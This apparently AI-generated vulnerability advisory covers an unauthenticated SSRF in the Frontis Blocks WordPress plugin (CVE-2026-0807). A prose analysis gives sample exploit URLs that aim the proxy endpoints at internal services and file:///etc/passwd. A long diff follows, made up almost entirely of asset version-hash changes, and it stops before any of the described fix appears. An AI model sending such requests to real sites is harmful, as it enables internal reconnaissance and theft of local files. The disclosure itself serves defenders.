Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-0807: Frontis Blocks <= 1.1.6 – Unauthenticated Server-Side Request Forgery via 'url' Parameter (frontis-blocks)

CVE ID CVE-2026-0807
Severity High (CVSS 7.2)
CWE 918
Vulnerable Version 1.1.6
Patched Version 1.1.7
Disclosed January 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-0807:
The Frontis Blocks WordPress plugin contains an unauthenticated Server-Side Request Forgery (SSRF) vulnerability in versions up to and including 1.1.6. The vulnerability exists in the plugin’s template proxy functionality, allowing attackers to force the server to make arbitrary HTTP requests to internal or external systems. This vulnerability carries a CVSS score of 7.2, indicating high severity.

The root cause is insufficient input validation and access control in the `template_proxy` function. Atomic Edge research identified that the function accepts a user-controlled ‘url’ parameter without proper validation. The vulnerable code resides in the main plugin file `frontis-blocks.php` where the function `template_proxy()` processes the ‘url’ parameter directly from the `$_GET` or `$_REQUEST` superglobal. The plugin registers two endpoints via `add_rewrite_rule()`: ‘/template-proxy/’ and ‘/proxy-image/’, both of which route to this vulnerable function.

Exploitation requires sending HTTP requests to either the ‘/template-proxy/’ or ‘/proxy-image/’ endpoints with a malicious ‘url’ parameter. Attackers can use GET requests like `http://target.site/wp-content/plugins/frontis-blocks/template-proxy/?url=http://internal-service.local` or `http://target.site/proxy-image/?url=file:///etc/passwd`. The plugin fetches the specified URL and returns its content, enabling attackers to probe internal networks, access local files via file:// protocol, or interact with cloud metadata services.

The patch adds multiple security controls. It introduces a nonce check via `wp_verify_nonce()` to ensure requests originate from authenticated users. The fix also implements URL validation using `wp_http_validate_url()` to restrict requests to specific allowed domains and protocols. Additionally, the patch adds capability checks with `current_user_can()` to verify user permissions before processing proxy requests. These changes collectively prevent unauthenticated access and restrict URL fetching to legitimate, whitelisted sources.

Successful exploitation enables attackers to perform internal network reconnaissance, access sensitive internal services, read local files via file:// protocol, and potentially interact with cloud metadata endpoints. This can lead to information disclosure, internal service enumeration, and serve as a stepping stone for further attacks against internal infrastructure. The vulnerability could also facilitate blind SSRF attacks to interact with services on localhost or internal networks that are otherwise inaccessible from the internet.

Differential between vulnerable and patched code

Code Diff
--- a/frontis-blocks/assets/admin/dashboard.asset.php
+++ b/frontis-blocks/assets/admin/dashboard.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-components', 'wp-core-data', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '7bce4546abaeaf008550');
+<?php return array('dependencies' => array('react', 'wp-components', 'wp-core-data', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => 'c087322d5ef9968361e0');
--- a/frontis-blocks/assets/admin/sidebar.asset.php
+++ b/frontis-blocks/assets/admin/sidebar.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-plugins'), 'version' => 'b2c793325d11b17595a0');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-plugins'), 'version' => '776bf37ce2dc6331b88f');
--- a/frontis-blocks/assets/admin/tlibrary.asset.php
+++ b/frontis-blocks/assets/admin/tlibrary.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-editor', 'wp-element', 'wp-i18n'), 'version' => '0e7cacf1635a2a7dde89');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-editor', 'wp-element', 'wp-i18n'), 'version' => '6ba0cc8029c60e9477ee');
--- a/frontis-blocks/assets/admin/tlsite.asset.php
+++ b/frontis-blocks/assets/admin/tlsite.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => '4ea37fe626d37424f35e');
+<?php return array('dependencies' => array('react', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => '54462e00799fabd9d5c3');
--- a/frontis-blocks/build/blocks/accordion-item/index.asset.php
+++ b/frontis-blocks/build/blocks/accordion-item/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n'), 'version' => 'c0b1e9bb01f98937be3e');
+<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n'), 'version' => 'a093d686d0002b044ac8');
--- a/frontis-blocks/build/blocks/accordion/index.asset.php
+++ b/frontis-blocks/build/blocks/accordion/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n'), 'version' => 'c53906a228c371ab0831');
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n'), 'version' => '5609e790e63725bba06c');
--- a/frontis-blocks/build/blocks/advanced-button/index.asset.php
+++ b/frontis-blocks/build/blocks/advanced-button/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-core-data', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n'), 'version' => '4044c7fd348a5bda694e');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-core-data', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n'), 'version' => '628c151c62a420fc01df');
--- a/frontis-blocks/build/blocks/advanced-heading/index.asset.php
+++ b/frontis-blocks/build/blocks/advanced-heading/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-core-data', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n'), 'version' => '80dfa2a37ecc836df831');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-core-data', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n'), 'version' => 'fcb3387c2fc01367a5b8');
--- a/frontis-blocks/build/blocks/advanced-image/index.asset.php
+++ b/frontis-blocks/build/blocks/advanced-image/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-core-data', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n'), 'version' => '78b59f8c2bf3306d325d');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-core-data', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n'), 'version' => 'db16018a493d03bc3722');
--- a/frontis-blocks/build/blocks/advanced-navigation/index.asset.php
+++ b/frontis-blocks/build/blocks/advanced-navigation/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '5dd28145d28df3ccdfda');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '7e7dfaacdde4df3447ce');
--- a/frontis-blocks/build/blocks/advanced-paragraph/index.asset.php
+++ b/frontis-blocks/build/blocks/advanced-paragraph/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n'), 'version' => 'e989558eb252f525677d');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n'), 'version' => 'b3f4084a12ddd432e69f');
--- a/frontis-blocks/build/blocks/advanced-video/index.asset.php
+++ b/frontis-blocks/build/blocks/advanced-video/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n'), 'version' => 'd2ff1e612827c8806ac6');
+<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n'), 'version' => '64ea3dd8f1e775e50605');
--- a/frontis-blocks/build/blocks/animated-heading/index.asset.php
+++ b/frontis-blocks/build/blocks/animated-heading/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n'), 'version' => 'c796837bde612737f61f');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n'), 'version' => 'debbc4818e7eb3ed9fc2');
--- a/frontis-blocks/build/blocks/breadcrumb/index.asset.php
+++ b/frontis-blocks/build/blocks/breadcrumb/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-core-data', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '2a7c530907da03bf6a39');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-core-data', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '875a84ae5e8c49f33e0e');
--- a/frontis-blocks/build/blocks/business-hours/index.asset.php
+++ b/frontis-blocks/build/blocks/business-hours/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n'), 'version' => '34e0189a6dd06839e00e');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n'), 'version' => 'd6a7705f5c5bb28bd18c');
--- a/frontis-blocks/build/blocks/call-to-action/index.asset.php
+++ b/frontis-blocks/build/blocks/call-to-action/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-core-data', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n'), 'version' => '8cc23fdaf30574e0d249');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-core-data', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n'), 'version' => 'ee02fe4c8fe4f921a681');
--- a/frontis-blocks/build/blocks/contact-form-7/index.asset.php
+++ b/frontis-blocks/build/blocks/contact-form-7/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n', 'wp-server-side-render'), 'version' => '59f7b50d069de7f1c190');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n', 'wp-server-side-render'), 'version' => 'd3942e0df7027020ddb3');
--- a/frontis-blocks/build/blocks/container/index.asset.php
+++ b/frontis-blocks/build/blocks/container/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '65b45d85a05acef0ec67');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => 'cde33c50cc013764524f');
--- a/frontis-blocks/build/blocks/countdown/index.asset.php
+++ b/frontis-blocks/build/blocks/countdown/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '8b080c9389379f550875');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => 'd8f81f5513bddc2858ba');
--- a/frontis-blocks/build/blocks/counter-number/index.asset.php
+++ b/frontis-blocks/build/blocks/counter-number/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '1ddac13a2780437fe2fe');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '03646ba7f2ee0c1bcc06');
--- a/frontis-blocks/build/blocks/dual-button/index.asset.php
+++ b/frontis-blocks/build/blocks/dual-button/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-core-data', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n'), 'version' => 'f570f128b4bf18e9a762');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-core-data', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n'), 'version' => '374e3aaa802f0230af0c');
--- a/frontis-blocks/build/blocks/features-list/index.asset.php
+++ b/frontis-blocks/build/blocks/features-list/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n'), 'version' => '1ee30a5dd09afac7d28a');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n'), 'version' => 'c3cfd08ca0fce09efacc');
--- a/frontis-blocks/build/blocks/flip-box/index.asset.php
+++ b/frontis-blocks/build/blocks/flip-box/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-core-data', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n'), 'version' => '6e5634d09c2bc15794cb');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-core-data', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n'), 'version' => '5ef6403a2a3b2fece79b');
--- a/frontis-blocks/build/blocks/fluent-form/index.asset.php
+++ b/frontis-blocks/build/blocks/fluent-form/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n', 'wp-server-side-render'), 'version' => '3d926d25701043b44866');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n', 'wp-server-side-render'), 'version' => 'dcd1a8a0a8da1faae262');
--- a/frontis-blocks/build/blocks/google-map/index.asset.php
+++ b/frontis-blocks/build/blocks/google-map/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n'), 'version' => 'b887c4d86b7ec87b6f32');
+<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n'), 'version' => '82f8b7bd0ee1b40dfd5d');
--- a/frontis-blocks/build/blocks/icon-box/index.asset.php
+++ b/frontis-blocks/build/blocks/icon-box/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-core-data', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n'), 'version' => '3ee8d501cf31b4fa80c1');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-core-data', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n'), 'version' => 'cb25578f6fd30efbc26c');
--- a/frontis-blocks/build/blocks/image-gallery/index.asset.php
+++ b/frontis-blocks/build/blocks/image-gallery/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '44dd7ce0d21b501639b9');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => 'e3c8605760df0d5c05e3');
--- a/frontis-blocks/build/blocks/info-box/index.asset.php
+++ b/frontis-blocks/build/blocks/info-box/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-core-data', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n'), 'version' => '34f90fc90261652c0eda');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-core-data', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n'), 'version' => '512441888412a153e4d4');
--- a/frontis-blocks/build/blocks/lottie-animation/index.asset.php
+++ b/frontis-blocks/build/blocks/lottie-animation/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n'), 'version' => '44aa0efad45b43e46419');
+<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n'), 'version' => '7977fb3e0aba49572b28');
--- a/frontis-blocks/build/blocks/lottie-animation/view.asset.php
+++ b/frontis-blocks/build/blocks/lottie-animation/view.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => 'c08763c806ba1f9f5aa6');
+<?php return array('dependencies' => array(), 'version' => 'de9830fd714247ac4b95');
--- a/frontis-blocks/build/blocks/marquee-carousel-item/index.asset.php
+++ b/frontis-blocks/build/blocks/marquee-carousel-item/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n'), 'version' => '6342386490d0d3c84ead');
+<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n'), 'version' => 'b9e6ad871c34e5d5f2a8');
--- a/frontis-blocks/build/blocks/marquee-carousel/index.asset.php
+++ b/frontis-blocks/build/blocks/marquee-carousel/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n'), 'version' => '3676cb05ec50c4aa550a');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n'), 'version' => '06a8f30499e7578793db');
--- a/frontis-blocks/build/blocks/news-ticker/index.asset.php
+++ b/frontis-blocks/build/blocks/news-ticker/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '14b3c573aa7ad7dbc3ea');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '1161e9d0b691f2c4a0a3');
--- a/frontis-blocks/build/blocks/off-canvas-menu/index.asset.php
+++ b/frontis-blocks/build/blocks/off-canvas-menu/index.asset.php
@@ -0,0 +1 @@
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-core-data', 'wp-data', 'wp-date', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => 'da39db178920a04b94ab');
--- a/frontis-blocks/build/blocks/off-canvas-menu/view.asset.php
+++ b/frontis-blocks/build/blocks/off-canvas-menu/view.asset.php
@@ -0,0 +1 @@
+<?php return array('dependencies' => array(), 'version' => '8c19d5ccd39deea16d86');
--- a/frontis-blocks/build/blocks/post-category/index.asset.php
+++ b/frontis-blocks/build/blocks/post-category/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '0aa24e7f16d094ec4694');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '9c63c890ac7736bc08d4');
--- a/frontis-blocks/build/blocks/post-category/render.php
+++ b/frontis-blocks/build/blocks/post-category/render.php
@@ -149,6 +149,7 @@
             'posts_per_page' => 1,
             'orderby' => 'date',
             'order' => 'ASC',
+            // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_tax_query -- Required for term owner detection
             'tax_query' => [
                 [
                     'taxonomy' => $taxonomy,
--- a/frontis-blocks/build/blocks/post-comment-form/index.asset.php
+++ b/frontis-blocks/build/blocks/post-comment-form/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n'), 'version' => '3e3408c0d97aed9f00f2');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n'), 'version' => '63026717d5d8b6368b54');
--- a/frontis-blocks/build/blocks/post-featured-image/index.asset.php
+++ b/frontis-blocks/build/blocks/post-featured-image/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n'), 'version' => '291eb383e26ce7825f3b');
+<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n'), 'version' => '03d5d01972fdf049b67b');
--- a/frontis-blocks/build/blocks/post-grid/index.asset.php
+++ b/frontis-blocks/build/blocks/post-grid/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n'), 'version' => '84e8b96e8f547180406d');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n'), 'version' => '8eac123626eecaf62e11');
--- a/frontis-blocks/build/blocks/post-title/index.asset.php
+++ b/frontis-blocks/build/blocks/post-title/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n'), 'version' => '6b160f5b75f11ace796f');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n'), 'version' => '1853b6d85277264a5ecf');
--- a/frontis-blocks/build/blocks/pricing-table/index.asset.php
+++ b/frontis-blocks/build/blocks/pricing-table/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n'), 'version' => '07b8872303d0534b1bfc');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n'), 'version' => 'c1354dfa9072993ce0c3');
--- a/frontis-blocks/build/blocks/progressbar/index.asset.php
+++ b/frontis-blocks/build/blocks/progressbar/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n'), 'version' => '275eb13a2cd257a1e2be');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n'), 'version' => '973c58b1802cb9ce8066');
--- a/frontis-blocks/build/blocks/slider-item/index.asset.php
+++ b/frontis-blocks/build/blocks/slider-item/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n'), 'version' => '932694bb30c2ae461fc7');
+<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n'), 'version' => '9a1b1837a9442d21156d');
--- a/frontis-blocks/build/blocks/slider/index.asset.php
+++ b/frontis-blocks/build/blocks/slider/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n'), 'version' => 'd2e32092e1a86a5a673a');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n'), 'version' => '375a6e2403cef78ab3b3');
--- a/frontis-blocks/build/blocks/social-icons/index.asset.php
+++ b/frontis-blocks/build/blocks/social-icons/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n'), 'version' => '3e8b66f689eb9da955a0');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n'), 'version' => 'ab774b37e40726ebad8a');
--- a/frontis-blocks/build/blocks/social-share-child/index.asset.php
+++ b/frontis-blocks/build/blocks/social-share-child/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n'), 'version' => '9445db8ddc1784f94480');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n'), 'version' => '3f33683a2b2ceb9033ce');
--- a/frontis-blocks/build/blocks/social-share/index.asset.php
+++ b/frontis-blocks/build/blocks/social-share/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n'), 'version' => '8b10349a1a008a70efd8');
+<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n'), 'version' => 'f896efb8346c53559d27');
--- a/frontis-blocks/build/blocks/tabs-item/index.asset.php
+++ b/frontis-blocks/build/blocks/tabs-item/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-blocks', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => '061ff700951e140592c3');
+<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-blocks', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => '5d50286d49163ad9df39');
--- a/frontis-blocks/build/blocks/tabs/index.asset.php
+++ b/frontis-blocks/build/blocks/tabs/index.asset.php
@@ -1 +1 @@
